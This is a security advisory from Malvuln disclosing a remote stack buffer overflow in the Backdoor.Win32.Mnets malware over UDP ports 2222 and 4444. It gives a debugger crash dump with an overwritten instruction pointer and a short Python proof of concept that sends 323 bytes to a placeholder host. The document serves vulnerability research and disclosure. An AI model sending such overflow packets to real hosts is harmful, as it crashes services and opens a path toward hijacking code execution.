Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/1e42493dcef54a62bc28e0a1338c1142.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Mnets
Vulnerability: Remote Stack Buffer Overflow - (UDP Datagram Proto)
Description: The backdoor listens for commands on UDP ports 2222 and 4444. Sending a mere 323 bytes we can overwrite the instruction pointer (EIP), potentially giving us program execution flow over the remote Malware.
Type: PE32
MD5: 1e42493dcef54a62bc28e0a1338c1142
Vuln ID: MVID-2021-0031
Dropped files: 
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/16/2021 

Memory Dump:
EAX : 00000000
EBX : 00000000
ECX : 41414141
EDX : 773E9D70     ntdll.773E9D70
EBP : 000A1488
ESP : 000A1468
ESI : 00000000
EDI : 00000000
EIP : 41414141

This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(1afc.f24): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1468 ebp=000a1488 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=4444

def doit():
    #UDP Protocol
    s=socket(AF_INET, SOCK_DGRAM)
    s.connect((MALWARE_HOST, PORT))

    PACKEE = "A"*323

    s.send(PACKEE)
    s.close()

    print("Backdoor.Win32.Mnets / Remote Stack Buffer Overflow");
    print("MD5: 1e42493dcef54a62bc28e0a1338c1142");
    print("By Malvuln");

if __name__=="__main__":
    doit()




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